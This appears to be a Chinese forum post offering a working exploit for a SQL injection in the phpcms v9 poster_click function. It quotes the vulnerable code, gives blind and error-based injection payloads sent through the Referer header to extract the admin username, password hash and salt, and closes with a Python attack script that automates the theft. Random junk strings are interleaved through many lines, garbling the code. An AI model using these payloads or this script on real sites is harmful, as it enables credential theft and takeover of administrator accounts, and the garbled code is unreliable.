phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
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! R$ K9 O9 S4 p% f% N) C/ H( D问题函数\phpcms\modules\poster\index.php
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public function poster_click() {
: `# _1 B: m' K  V- `# s$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
9 N+ z: ~$ k) Y% k# m: e: j$area = $ip_area->get($ip);
; O+ h5 v2 v6 r, D$username = param::get_cookie('username') ? param::get_cookie('username') : '';
& Z3 ~( `5 n: l3 K( uif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
, B) W. |% j% U! E$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
) P4 n$ {7 u9 g- C( G  ?$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
2 j0 @/ m+ }# T+ T2 ~2 \/ }}
header('Location: '.$url);
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利用方式：

1、可以采用盲注入的手法：
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referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

! F. U. _6 g  {* U* F, R- a通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：
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1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
( l% |4 T# w$ [3 f  V6 S* {
/ Z" n6 x9 m6 m此方法是爆错注入手法，原理自查。

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利用程序:
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: K3 K7 g/ _- o' T: Y% A* I( k#!/usr/bin/env python
import httplib,sys,re
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def attack():
print “Code by Pax.Mac Team conqu3r!”
print “Welcome to our zone!!!”
url=sys.argv[1]
paths=sys.argv[2]
' j0 |/ h  j& D) F( uconn = httplib.HTTPConnection(url)
/ {# [8 M& i5 L! M6 L1 C! T% n% r+ H1 Si_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
! p5 h) [2 j6 D  Y+ `! |conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
4 v2 V: @2 c+ Y7 r3 }2 m& Fdatas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
8 [, B% x3 [1 u" jprint datas[0]
. N* Z! V0 o+ T; e' @9 `conn.close()
if __name__==”__main__”:
2 q, J1 @% Q5 Z" a2 ?, o% V7 q0 l; q1 vif len(sys.argv)<3:
! I) c% ]& C& _1 K9 oprint “Code by Pax.Mac Team conqu3r”
+ l9 ?6 P6 o* u4 dprint “Usgae:”
( X! ~; I7 Q" a. A1 bprint “    phpcmsattack.py   www.paxmac.org /”
0 T& C) N/ K" C2 x1 tprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
attack()
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